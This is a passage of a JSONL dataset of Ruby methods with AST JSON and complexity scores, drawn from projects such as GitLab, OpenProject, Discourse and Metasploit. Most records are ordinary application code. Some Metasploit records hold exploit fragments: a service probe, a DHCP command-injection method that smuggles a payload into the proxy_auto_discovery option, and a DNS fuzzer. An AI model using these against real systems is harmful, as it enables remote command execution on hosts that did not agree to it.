{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/rapid_diffs/diffs_stats_entity.rb","start_line":25,"raw_source":"def overflow_safe?(diff_collection)\n      diff_collection.collapsed_safe_limits? ||\n        diff_collection.collapsed_safe_lines? || diff_collection.collapsed_safe_files? ||\n        diff_collection.collapsed_safe_bytes?\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"overflow_safe?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_collection\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"collapsed_safe_limits?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"collapsed_safe_lines?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"collapsed_safe_files?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"collapsed_safe_bytes?\"]}]}]}","id":"ab2fc568-cedf-4b6b-8568-5a7c8c1af0a2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/version.rb","start_line":123,"raw_source":"def completed_percent\n    if issues_count.zero?\n      0\n    elsif open_issues_count.zero?\n      100\n    else\n      issues_progress(false) + issues_progress(true)\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"completed_percent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues_count\"]},\"zero?\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_issues_count\"]},\"zero?\"]},{\"type\":\"int\",\"children\":[100]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues_progress\",{\"type\":\"false\",\"children\":[]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"issues_progress\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5bb8e630-077f-4b63-a2fb-6fa9d5fa6431"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/license/calicserv_getconfig.rb","start_line":72,"raw_source":"def check\n    connect\n    banner = sock.get_once\n    sock.put(\"A0 GETCONFIG SELF 0<EOM>\")\n    res = sock.get_once || ''\n    disconnect\n    if (res =~ /OS\\<([^\\>]+)/)\n      vprint_status(\"CA License Server reports OS: #{$1}\")\n      return Exploit::CheckCode::Detected\n    end\n    return Exploit::CheckCode::Safe\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"A0 GETCONFIG SELF 0<EOM>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"OS\\\\<([^\\\\>]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CA License Server reports OS: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"a9306038-4d62-415e-96ae-95b92700892a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/onboarding/website_analyzer_service.rb","start_line":11,"raw_source":"def analyze\n    fetch_website_content\n    return error_response('Failed to fetch website content') unless @website_content\n\n    extract_business_info\n  rescue StandardError => e\n    Rails.logger.error \"[Captain Onboarding] Website analysis error: #{e.message}\"\n    error_response(e.message)\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"analyze\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_website_content\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@website_content\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_response\",{\"type\":\"str\",\"children\":[\"Failed to fetch website content\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"extract_business_info\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Captain Onboarding] Website analysis error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},null]}]}","id":"4205fc74-c46d-4159-b2a3-9b8dd7476d0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":805,"raw_source":"def validate_jira_cloud_auth_type_is_basic\n      return unless self.class.valid_jira_cloud_url?(client_url) && jira_auth_type != AUTH_TYPE_BASIC\n\n      errors.add(:base,\n        format(\n          s_('JiraService|For Jira Cloud, the authentication type must be %{basic}'),\n          basic: s_('JiraService|Basic')\n        )\n      )\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_jira_cloud_auth_type_is_basic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"valid_jira_cloud_url?\",{\"type\":\"send\",\"children\":[null,\"client_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_auth_type\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"AUTH_TYPE_BASIC\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"JiraService|For Jira Cloud, the authentication type must be %{basic}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"basic\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"JiraService|Basic\"]}]}]}]}]}]}]}]}","id":"31118e10-6ef2-4102-8eb1-a36fbd0321a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/catalog/resource.rb","start_line":83,"raw_source":"def visible_to_user(user)\n          return none unless user\n\n          where_exists(user.authorizations_for_projects(related_project_column: 'catalog_resources.project_id'))\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"visible_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]}]},{\"type\":\"send\",\"children\":[null,\"where_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"authorizations_for_projects\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"related_project_column\"]},{\"type\":\"str\",\"children\":[\"catalog_resources.project_id\"]}]}]}]}]}]}]}","id":"27c9b171-8c80-4851-89a1-1a551207c3f0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/remote_paths.rb","start_line":6,"raw_source":"def initialize(info = {})\n    super\n    register_options(\n      [\n        OptString.new('RPATH', [false, 'The name of the remote file relative to the share to operate on']),\n        OptPath.new('FILE_RPATHS', [false, 'A file containing a list remote files relative to the share to operate on'])\n      ], self.class)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the remote file relative to the share to operate on\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE_RPATHS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A file containing a list remote files relative to the share to operate on\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"c895e566-abfe-4b95-a0a2-0611fa78cfff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb","start_line":59,"raw_source":"def exploit\n    hash = datastore.copy\n    start_service(hash)\n    @dhcp.set_option(proxy_auto_discovery: \"#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #\")\n\n    sleep 2 while @dhcp.thread.alive?\n  end","complexity_score":13.83,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"copy\"]}]},{\"type\":\"send\",\"children\":[null,\"start_service\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dhcp\"]},\"set_option\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy_auto_discovery\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"str\",\"children\":[\"'&\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" #\"]}]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dhcp\"]},\"thread\"]},\"alive?\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"22b6b166-8a58-47f2-85a0-eeafffd40ff9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/custom_attribute_mixin.rb","start_line":75,"raw_source":"def self.custom_attribute_arel(name_val, section)\n      lambda do |t|\n        ca_field    = CustomAttribute.arel_table\n\n        field_where = ca_field[:resource_id].eq(t[:id])\n        field_where = field_where.and(ca_field[:resource_type].eq(base_class.name))\n        field_where = field_where.and(ca_field[:name].eq(name_val))\n        field_where = field_where.and(ca_field[:section].eq(section)) if section\n\n        # Because there is a `find_by` in the `define_method` above, we are\n        # using a `take(1)` here as well, since a limit is assumed in each.\n        # Without it, there can be some invalid queries if more than one result\n        # is returned.\n        t.grouping(ca_field.project(:value).where(field_where).take(1))\n      end\n    end","complexity_score":37.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"custom_attribute_arel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name_val\"]},{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ca_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomAttribute\"]},\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"field_where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resource_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field_where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_where\"]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resource_type\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_class\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field_where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_where\"]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"name_val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},{\"type\":\"lvasgn\",\"children\":[\"field_where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_where\"]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"section\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"grouping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_field\"]},\"project\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"where\",{\"type\":\"lvar\",\"children\":[\"field_where\"]}]},\"take\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"384d35d2-f02e-49f3-bd9c-face2432d17f"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/version_filter_dependency_representer.rb","start_line":35,"raw_source":"def json_cache_key\n            super + (filter.project.present? ? [filter.project.id] : [])\n          end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"json_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"project\"]},\"present?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"project\"]},\"id\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"79bc2321-a306-445c-a114-950d89c93e50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":507,"raw_source":"def before_delete\n    expire_exists_cache\n    expire_all_method_caches\n    expire_branch_cache if exists?\n    expire_content_cache\n\n    repository_event(:remove_repository)\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"before_delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expire_exists_cache\"]},{\"type\":\"send\",\"children\":[null,\"expire_all_method_caches\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\"]},{\"type\":\"send\",\"children\":[null,\"expire_branch_cache\"]},null]},{\"type\":\"send\",\"children\":[null,\"expire_content_cache\"]},{\"type\":\"send\",\"children\":[null,\"repository_event\",{\"type\":\"sym\",\"children\":[\"remove_repository\"]}]}]}]}","id":"36f03c31-886a-4c96-8995-24b12fe9e8d1"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/app_tree.rb","start_line":113,"raw_source":"def controller_paths\n      @controller_paths ||= prioritize_concerns(find_paths(\"app/**/controllers\"))\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"controller_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller_paths\"]},{\"type\":\"send\",\"children\":[null,\"prioritize_concerns\",{\"type\":\"send\",\"children\":[null,\"find_paths\",{\"type\":\"str\",\"children\":[\"app/**/controllers\"]}]}]}]}]}","id":"6bbb105e-30b7-42ce-9e34-8f6b5b5fab92"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gantt/app/services/gantt/default_query_generator_service.rb","start_line":78,"raw_source":"def milestones_query(project)\n        default_with_filter = add_columns(project)\n\n        milestones = milestone_ids(project)\n        return if milestones.empty?\n\n        default_with_filter[\"f\"] = [{ \"n\" => \"type\", \"o\" => \"=\", \"v\" => milestones }]\n        default_with_filter\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"milestones_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_with_filter\",{\"type\":\"send\",\"children\":[null,\"add_columns\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestones\",{\"type\":\"send\",\"children\":[null,\"milestone_ids\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestones\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_with_filter\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"f\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"n\"]},{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"milestones\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"default_with_filter\"]}]}]}","id":"7f51d2fb-fa56-4590-9ae6-f82d64ea67c6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/track_selector.rb","start_line":75,"raw_source":"def self.help_trigger\n      I18n.t(i18n_key(\"help_trigger\"))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"help_trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"send\",\"children\":[null,\"i18n_key\",{\"type\":\"str\",\"children\":[\"help_trigger\"]}]}]}]}","id":"374559ba-be3e-428b-b4f7-d60c0d2f107d"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/importer.rb","start_line":202,"raw_source":"def import_posts\n      puts \"\", \"creating topics and posts\"\n      total_count = @database.count_posts\n      importer = @importers.post_importer\n      last_post_id = 0\n\n      batches do |offset|\n        rows, last_post_id = @database.fetch_posts(last_post_id)\n        break if rows.size < 1\n\n        create_posts(rows, total: total_count, offset: offset) do |row|\n          begin\n            next if post_id_from_imported_post_id(@settings.prefix(row[:post_id]))\n            importer.map_post(row)\n          rescue => e\n            log_error(\"Failed to map post with ID #{row[:post_id]}\", e)\n          end\n        end\n      end\n    end","complexity_score":33.15,"ast_json":"{\"type\":\"def\",\"children\":[\"import_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating topics and posts\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@database\"]},\"count_posts\"]}]},{\"type\":\"lvasgn\",\"children\":[\"importer\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importers\"]},\"post_importer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_post_id\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\"]},{\"type\":\"lvasgn\",\"children\":[\"last_post_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@database\"]},\"fetch_posts\",{\"type\":\"lvar\",\"children\":[\"last_post_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_id_from_imported_post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"importer\"]},\"map_post\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to map post with ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]}]}]}]}","id":"227578df-b17e-434d-b0d6-e9bcb74391a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user.rb","start_line":31,"raw_source":"def has_no_primary_navigation_item?(name)\n        page.has_no_css?(primary_navigation_selector(name))\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_primary_navigation_item?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"send\",\"children\":[null,\"primary_navigation_selector\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"d5360b7a-4875-4bb3-8848-73a0a3a86640"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb","start_line":253,"raw_source":"def build_packet(dns_opcode, dnssec, trailingnul, reqns, classns, payload)\n    pkt = DnsHeader.new\n    pkt.opcode = dns_opcode\n    if trailingnul\n      if @dnsfile\n        pkt.payload = payload + \"\\x00\" + reqns + classns\n      else\n        pkt.payload = payload + \"\\x00\" + [reqns].pack('n') + [classns].pack('n')\n      end\n    elsif @dnsfile\n      pkt.payload = payload + [rand(1..255).to_s].pack('H') + reqns + classns\n    else\n      pkt.payload = payload + [rand(1..255).to_s].pack('H') + [dns_req].pack('n') + [dns_class].pack('n')\n    end\n\n    if dnssec\n      dnssecpkt = DnsAddRr.new\n      pkt.additionalRR = 1\n      pkt.payload = dnssecpkt.to_binary_s\n    end\n\n    pkt.to_binary_s\n  end","complexity_score":57.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dns_opcode\"]},{\"type\":\"arg\",\"children\":[\"dnssec\"]},{\"type\":\"arg\",\"children\":[\"trailingnul\"]},{\"type\":\"arg\",\"children\":[\"reqns\"]},{\"type\":\"arg\",\"children\":[\"classns\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DnsHeader\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"opcode=\",{\"type\":\"lvar\",\"children\":[\"dns_opcode\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trailingnul\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dnsfile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"reqns\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"classns\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reqns\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classns\"]}]},\"p